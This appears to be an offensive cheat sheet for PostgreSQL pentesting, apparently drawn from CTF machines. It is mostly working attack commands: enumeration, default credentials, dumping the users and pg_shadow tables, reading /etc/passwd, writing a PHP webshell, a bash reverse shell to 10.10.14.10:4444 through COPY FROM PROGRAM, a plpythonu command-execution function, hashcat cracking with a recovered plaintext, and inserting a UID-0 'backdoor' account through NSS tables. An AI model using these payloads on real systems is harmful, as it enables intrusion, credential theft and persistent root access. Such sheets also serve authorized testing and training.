Pentesting PostgreSQL

Default Port: 5432

PostgreSQL (psql) is an open-source relational database system. It's commonly found in web applications, especially those using Python/Django, Ruby on Rails, and Java/Spring Boot frameworks.

---

Enumeration

Nmap Scripts

nmap -sV -p 5432 --script="pgsql-*" $ip

Banner Grabbing

nc -nv $ip 5432

---

Connecting to PostgreSQL

Using psql Client

# Basic connection
psql -h <host> -p 5432 -U <username> -d <database>

# With password in environment variable (avoids password prompt)
PGPASSWORD='password' psql -h 127.0.0.1 -p 5432 -U postgres -d cozyhosting

# Connect to default database
psql -h <host> -U postgres

# Connect via Unix socket (local)
psql -U postgres

Common Default Credentials

Username	Password
postgres	postgres
postgres	(empty)
admin	admin

---

Essential psql Commands

Navigation & Meta-Commands

Command	Description
\l or \list	List all databases
\c <database>	Connect to a database
\dt	List tables in current database
\dt+	List tables with size and description
\d <table>	Describe table structure (columns, types)
\d+ <table>	Describe table with extra info
\du	List users/roles
\dn	List schemas
\df	List functions
\x	Toggle expanded display (vertical output)
\q	Quit psql

Example Workflow

-- Connect with password
PGPASSWORD='Vg&nvzAQ7XxR' psql -h 127.0.0.1 -p 5432 -U postgres -d cozyhosting

-- List all databases
\l

-- Connect to a specific database
\c cozyhosting

-- List tables with sizes
\dt+

-- Output:
--  Schema | Name  | Type  |  Owner   | Size       | Description
-- --------+-------+-------+----------+------------+-------------
--  public | hosts | table | postgres | 8192 bytes |
--  public | users | table | postgres | 8192 bytes |

-- Describe table structure
\d users

-- Output:
--   Column  |          Type          | Nullable | Default
-- ----------+------------------------+----------+---------
--  name     | character varying(50)  | not null |
--  password | character varying(100) | not null |
--  role     | role                   |          |

-- Enable expanded display for better readability
\x

-- Query data
SELECT * FROM users;

-- Output (expanded):
-- -[ RECORD 1 ]----------------------------------------------------------
-- name     | kanderson
-- password | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim
-- role     | User
-- -[ RECORD 2 ]----------------------------------------------------------
-- name     | admin
-- password | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm
-- role     | Admin

-- Quit
\q

---

Extracting Data

Dumping Users and Passwords

-- Get all users
SELECT * FROM users;

-- Get usernames and passwords specifically  
SELECT name, password FROM users;

-- Get PostgreSQL database users
SELECT usename, passwd FROM pg_shadow;

Searching for Sensitive Data

-- Search for password columns across all tables
SELECT table_name, column_name 
FROM information_schema.columns 
WHERE column_name LIKE '%pass%' OR column_name LIKE '%secret%' OR column_name LIKE '%key%';

-- Search for specific data
SELECT * FROM users WHERE role = 'Admin';

---

File Operations (Requires Superuser)

Reading Files

-- Read a file
SELECT pg_read_file('/etc/passwd');

-- Using COPY
CREATE TABLE temp(content text);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp;

Writing Files

-- Write to a file
COPY (SELECT 'test') TO '/tmp/test.txt';

-- Write webshell
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';

---

Command Execution

Using COPY FROM PROGRAM (PostgreSQL 9.3+)

-- Execute system commands
COPY cmd_output FROM PROGRAM 'id';

-- Reverse shell
COPY cmd_output FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.10/4444 0>&1"';

Using Extensions

-- Check if plpythonu is available
CREATE EXTENSION plpythonu;

-- Execute Python code
CREATE OR REPLACE FUNCTION exec_cmd(cmd text)
RETURNS text AS $$
import subprocess
return subprocess.check_output(cmd, shell=True).decode()
$$ LANGUAGE plpythonu;

SELECT exec_cmd('id');

---

Cracking PostgreSQL Hashes

PostgreSQL password hashes are typically bcrypt ($2a$, $2b$, $2y$).

# Identify hash type
hashcat --identify hash.txt

# The following hash-modes match:
# 3200 | bcrypt $2*$, Blowfish (Unix)

# Crack with hashcat
hashcat -a 0 -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

# Example hash
# $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited

---

Privilege Escalation

Check Current User Privileges

-- Check if superuser
SELECT current_user, 
       (SELECT usesuper FROM pg_user WHERE usename = current_user) as is_superuser;

-- List user privileges
\du

PostgreSQL to System Shell

If PostgreSQL is running as root or has SUID, check for privilege escalation:

# Check PostgreSQL process
ps aux | grep postgres

# Check psql history for credentials
cat /var/lib/postgresql/.psql_history

---

PostgreSQL NSS Privilege Escalation (Name Service Switch)

PostgreSQL can be used with NSS (Name Service Switch) to store Linux user credentials. If you can write to the passwd_table, you can add SSH users or escalate privileges.

Discovery

# Find NSS PostgreSQL config files
ls -la /etc/nss-pgsql*
# -rw-r--r-- 1 root root 1341 nss-pgsql.conf
# -rw-rw---- 1 root root  540 nss-pgsql-root.conf

# nss-pgsql-root.conf contains elevated credentials
cat /etc/nss-pgsql-root.conf
# shadowconnectionstring = hostaddr=127.0.0.1 dbname=unix user=unixnssroot password=30jdsklj4d_3

NSS Tables Structure

-- Common NSS table names
passwd_table  -- User account info
shadow_table  -- Password hashes
group_table   -- Group info
usergroups    -- User-group mappings

Connect and Enumerate

# Connect as elevated NSS user
PGPASSWORD='password' psql -h 127.0.0.1 -p 5432 -U unixnssroot -d unix

# Disable pager for clean output
\pset pager off

# List tables
\dt

# View passwd_table structure
\d passwd_table
# username | passwd | uid | gid | gecos | homedir | shell

# View existing users
SELECT * FROM passwd_table;

Add User with Root Privileges

# Generate password hash (md5crypt format)
openssl passwd -1 mypassword
# $1$hlvkc202$rGqJSF9NqG3mnSRimbl6n1

-- Insert new user with UID 0 (root)
INSERT INTO passwd_table (username, passwd, uid, gid, homedir, shell) 
VALUES ('backdoor', '$1$hlvkc202$rGqJSF9NqG3mnSRimbl6n1', 0, 0, '/root', '/bin/bash');

-- Verify
SELECT * FROM passwd_table WHERE username = 'backdoor';

SSH as New Root User

# SSH as the new user
ssh backdoor@TARGET
Password: mypassword

# Verify root access
id
# uid=0(backdoor) gid=0(root) groups=0(root)

Alternative: Add User to Sudo Group

If direct UID 0 doesn't work, try adding user to sudoers group (GID 27):

INSERT INTO passwd_table (username, passwd, uid, gid, homedir, shell) 
VALUES ('sudouser', '$1$xxx$hash', 2001, 27, '/home/user', '/bin/bash');

Note: Different NSS PostgreSQL users may have different table permissions. Test multiple credentials from nss-pgsql.conf and nss-pgsql-root.conf.

---

Useful psql Settings

-- Disable pager (prevents less/more from intercepting output)
\pset pager off

-- Enable expanded display for wide tables
\x

-- Show timing for queries
\timing

-- Check current user permissions
\du+ <username>

---

Useful Resources

• https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-postgresql.html

• https://www.postgresql.org/docs/current/app-psql.html